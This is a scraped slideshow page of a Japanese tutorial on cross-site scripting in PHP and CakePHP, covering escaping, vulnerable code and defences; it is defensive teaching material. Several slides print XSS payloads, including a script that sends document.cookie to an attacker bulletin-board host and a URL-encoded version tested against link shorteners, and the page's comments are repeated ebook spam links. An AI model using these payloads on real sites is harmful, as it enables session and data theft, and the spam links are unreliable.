Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
体系的に学ばない
XSSの話
XSSとは
XSS(クロスサイト・スクリプティング)
● Webアプリケーションのセキュリティホール
● 悪意のあるコードをユーザに送ってしまう脆弱性
● 動的にWebページを生成する箇所で発生
● HTMLエスケープ漏れを利用した攻撃
● サイト全体の1...
HTMLエスケープ
メタ文字 変換後
< &lt;
> &gt;
& &amp;
" &quot;
' '
←
こんな感じで表示するため
XSSの例
https://example.jp/search?word=Java
<div>指定したキーワード :
<?php echo($_GET['word']);
?>
</div>
CakePHPとかだと・・・
$this->request->d...
https://example.jp/search?
word=Java<script>alert(1)
</script>
https://example.jp/search?
word=Java<script>alert(1)</script>
<div>指定したキーワード :
Java<script>alert(1)</script>
</div>
なにが問題か?
● Cookieが盗まれる
● 個人情報が盗まれる
● 勝手に操作される
● 他いろいろ
現実的な攻撃の流れ
1.XSS入りの、ECサ
イトへのURLを投稿
2chとか
攻撃者
ECサイトとか
(https://test.ec.com)
しょぼい掲示板サイト
(http://syoboi.com)
Cookieを投稿
3.攻撃スクリプト
が実行される
...
● HTMLの要素内容や、属性値を動的に出力する場
合は、「<」、「>」、「&」、「"」、「'」をエスケープする
PHPでは、htmlspecialchars()関数
CakePHPでは、h()関数や、Formヘルパーを利用
※デフォルトでは、...
脆弱性が発生する例
<?php $mail = $_GET['mail']; ?>
<input type="text" name="mail" value="<?php echo $mail
?>">
<input type="text" name="mail"...
<?php $mail = htmlspecialchars($_GET['mail'],
ENT_QUOTES); ?>
<input type=text name=mail value=<?php echo $mail ?>>
<input...
<a href="javascript:alert(document.cookie)">クリックしてね
</a>
<?php $url = htmlspecialchars($_GET['url'],ENT_QUOTES);
?>
<a hre...
<?php $param = htmlspecialchars($_GET['param'],
ENT_QUOTES); ?>
<... onclick="methodA('<?php $param ?>')">
<... onclick="m...
対策まとめ+α
● HTMLの要素内容や、属性値を動的に出力する場
合は、「<」、「>」、「&」、「"」、「'」をエスケープする
PHPでは、htmlspecialchars()関数
CakePHPでは、h()関数や、Formヘルパーを利用
※デフォルトでは、...
● aタグやimgタグなどのURL動的生成は、以下のよ
うな対策を行った上で、HTMLエスケープする
・ホワイトリスト形式にする
・http、httpsスキームであることをチェックする
● onclickなどのイベントハンドラは、JavaScr...
● HTTPレスポンスに文字エンコーディングを明示
する
header('Content-Type: text/html; charset=UTF-8');
● DBに格納されているデータを利用する場合も同
様の対処をする(格納型 XSS)
●...
保険的対策
● CookieのHttpOnly属性を設定
JavaScriptからCookieを参照できなくする
php.ini → session.cookie_httponly = on
● ブラウザのXSSフィルタ機能を頼る
 →却下。
余談・・・
http://test.ec.com?param=%3Cscript%3Evar%20xhr%
20=%20new%20XMLHttpRequest%28%29;xhr.open%
28%27GET%27,%20%27http://shoboi...
Upcoming SlideShare
Loading in …5
×

体系的に学ばないXSSの話

10,340 views

Published on

Published in: Technology
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (Unlimited) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... Download Full EPUB Ebook here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... ACCESS WEBSITE for All Ebooks ......................................................................................................................... Download Full PDF EBOOK here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... Download EPUB Ebook here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... Download doc Ebook here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... ......................................................................................................................... ......................................................................................................................... .............. Browse by Genre Available eBooks ......................................................................................................................... Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult,
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (Unlimited) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... Download Full EPUB Ebook here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... ACCESS WEBSITE for All Ebooks ......................................................................................................................... Download Full PDF EBOOK here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... Download EPUB Ebook here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... Download doc Ebook here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... ......................................................................................................................... ......................................................................................................................... .............. Browse by Genre Available eBooks ......................................................................................................................... Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult,
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (Unlimited) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... Download Full EPUB Ebook here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... ACCESS WEBSITE for All Ebooks ......................................................................................................................... Download Full PDF EBOOK here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... Download EPUB Ebook here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... Download doc Ebook here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... ......................................................................................................................... ......................................................................................................................... .............. Browse by Genre Available eBooks ......................................................................................................................... Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult,
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (Unlimited) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... Download Full EPUB Ebook here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... ACCESS WEBSITE for All Ebooks ......................................................................................................................... Download Full PDF EBOOK here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... Download EPUB Ebook here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... Download doc Ebook here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... ......................................................................................................................... ......................................................................................................................... .............. Browse by Genre Available eBooks ......................................................................................................................... Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult,
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (Unlimited) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://tinyurl.com/yyxo9sk7 } ......................................................................................................................... Download Full EPUB Ebook here { https://tinyurl.com/yyxo9sk7 } ......................................................................................................................... ACCESS WEBSITE for All Ebooks ......................................................................................................................... Download Full PDF EBOOK here { https://tinyurl.com/yyxo9sk7 } ......................................................................................................................... Download EPUB Ebook here { https://tinyurl.com/yyxo9sk7 } ......................................................................................................................... Download doc Ebook here { https://tinyurl.com/yyxo9sk7 } ......................................................................................................................... ......................................................................................................................... ......................................................................................................................... .............. Browse by Genre Available eBooks ......................................................................................................................... Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult,
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here

体系的に学ばないXSSの話

  1. 1. 体系的に学ばない XSSの話
  2. 2. XSSとは
  3. 3. XSS(クロスサイト・スクリプティング) ● Webアプリケーションのセキュリティホール ● 悪意のあるコードをユーザに送ってしまう脆弱性 ● 動的にWebページを生成する箇所で発生 ● HTMLエスケープ漏れを利用した攻撃 ● サイト全体の1カ所でもXSS脆弱性があると被害を受ける
  4. 4. HTMLエスケープ メタ文字 変換後 < &lt; > &gt; & &amp; " &quot; ' ' ← こんな感じで表示するため
  5. 5. XSSの例
  6. 6. https://example.jp/search?word=Java <div>指定したキーワード : <?php echo($_GET['word']); ?> </div> CakePHPとかだと・・・ $this->request->data('word');
  7. 7. https://example.jp/search? word=Java<script>alert(1) </script>
  8. 8. https://example.jp/search? word=Java<script>alert(1)</script> <div>指定したキーワード : Java<script>alert(1)</script> </div>
  9. 9. なにが問題か?
  10. 10. ● Cookieが盗まれる ● 個人情報が盗まれる ● 勝手に操作される ● 他いろいろ
  11. 11. 現実的な攻撃の流れ
  12. 12. 1.XSS入りの、ECサ イトへのURLを投稿 2chとか 攻撃者 ECサイトとか (https://test.ec.com) しょぼい掲示板サイト (http://syoboi.com) Cookieを投稿 3.攻撃スクリプト が実行される 投稿者:xxxxxxx メッセージ: Xs3Loa9J3iK42KPlqS76 投稿者:xxxxxxx メッセージ: Zk0oQis6N2lkqJu8MaxC ・・・ 利用者 2.XSS入りのURL経由で ECサイトにアクセス (※既にログイン済みである必要がある) var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://syoboi.com/post?p='+document.cooki); xhr.send(null);
  13. 13. ● HTMLの要素内容や、属性値を動的に出力する場 合は、「<」、「>」、「&」、「"」、「'」をエスケープする PHPでは、htmlspecialchars()関数 CakePHPでは、h()関数や、Formヘルパーを利用 ※デフォルトでは、htmlspecialcharsは「'」をエスケープせず、 h()関数は全てエスケープする  htmlspecialcharsには、ENT_QUOTESを引数として渡すように徹底してもよいかも! ● 属性値はダブルクォートで囲む <input type="text" name="x" value="<?php echo $x ?>"> 対策方法・・・の一部
  14. 14. 脆弱性が発生する例
  15. 15. <?php $mail = $_GET['mail']; ?> <input type="text" name="mail" value="<?php echo $mail ?>"> <input type="text" name="mail" value="1"> <script>alert(document.cookie)</script>"> 動的に要素や属性値を出力するときは、「<」、「>」、「&」、「"」、 「'」を必ずエスケープする 「1"><script>alert(document.cookie)</script>」
  16. 16. <?php $mail = htmlspecialchars($_GET['mail'], ENT_QUOTES); ?> <input type=text name=mail value=<?php echo $mail ?>> <input type=text name=mail   value=1 onmouseover=alert(document.cookie)> 属性値は必ず、「"」や「'」の引用符で囲みましょう ※「"」で囲むことを推奨 「1 onmouseover=alert(document.cookie)」
  17. 17. <a href="javascript:alert(document.cookie)">クリックしてね </a> <?php $url = htmlspecialchars($_GET['url'],ENT_QUOTES); ?> <a href="<?php echo $url ?>">クリックしてね</a> a要素のhref属性、img、frame、iframe要素のsrc属性は、 http、httpsスキームであることをチェックし、URLをホワイトリ ストにするなどの対策をする 「javascript:alert(document.cookie)」
  18. 18. <?php $param = htmlspecialchars($_GET['param'], ENT_QUOTES); ?> <... onclick="methodA('<?php $param ?>')"> <... onclick="methodA(''); alert(document.cookie)//')"> イベントハンドラ系は文字参照が解釈されてしまい、alertが実 行される JavaScriptの文字列リテラルとしてエスケープしてから、 HTMLエスケープする必要がある 「');alert(document.cookie)//」
  19. 19. 対策まとめ+α
  20. 20. ● HTMLの要素内容や、属性値を動的に出力する場 合は、「<」、「>」、「&」、「"」、「'」をエスケープする PHPでは、htmlspecialchars()関数 CakePHPでは、h()関数や、Formヘルパーを利用 ※デフォルトでは、htmlspecialcharsは「'」をエスケープせず、 h()関数は全てエスケープする  htmlspecialcharsには、ENT_QUOTESを引数として渡すように徹底してもよいかも! ● 属性値はダブルクォートで囲む <input type="text" name="x" value="<?php echo $x ?>">
  21. 21. ● aタグやimgタグなどのURL動的生成は、以下のよ うな対策を行った上で、HTMLエスケープする ・ホワイトリスト形式にする ・http、httpsスキームであることをチェックする ● onclickなどのイベントハンドラは、JavaScriptとし てエスケープした上で、HTMLエスケープする ● script要素内の動的生成は、JavaScriptとしてエ スケープし、「</」が出力されないようにする
  22. 22. ● HTTPレスポンスに文字エンコーディングを明示 する header('Content-Type: text/html; charset=UTF-8'); ● DBに格納されているデータを利用する場合も同 様の対処をする(格納型 XSS) ● JavaScriptで動的にHTMLを生成する場合もエス ケープを忘れない(DOM Based XSS)
  23. 23. 保険的対策
  24. 24. ● CookieのHttpOnly属性を設定 JavaScriptからCookieを参照できなくする php.ini → session.cookie_httponly = on ● ブラウザのXSSフィルタ機能を頼る  →却下。
  25. 25. 余談・・・
  26. 26. http://test.ec.com?param=%3Cscript%3Evar%20xhr% 20=%20new%20XMLHttpRequest%28%29;xhr.open% 28%27GET%27,%20%27http://shoboi.com/post? param=aaa%27,%20true%29;xhr.withCredentials% 20=%20true;xhr.send%28null%29;%3C/script%3E http://p.tl/CDiR (pixiv) → リクエスト成功 http://ul.lc/348u      → リクエスト成功 http://goo.gl/nfXC0 (Google) → レスポンスがエラーになる http://inf.to/            → 作成時にエラー http://ux.nu/ (GEHIRN) → 危険なURLと判定されたため短縮できませんでした

×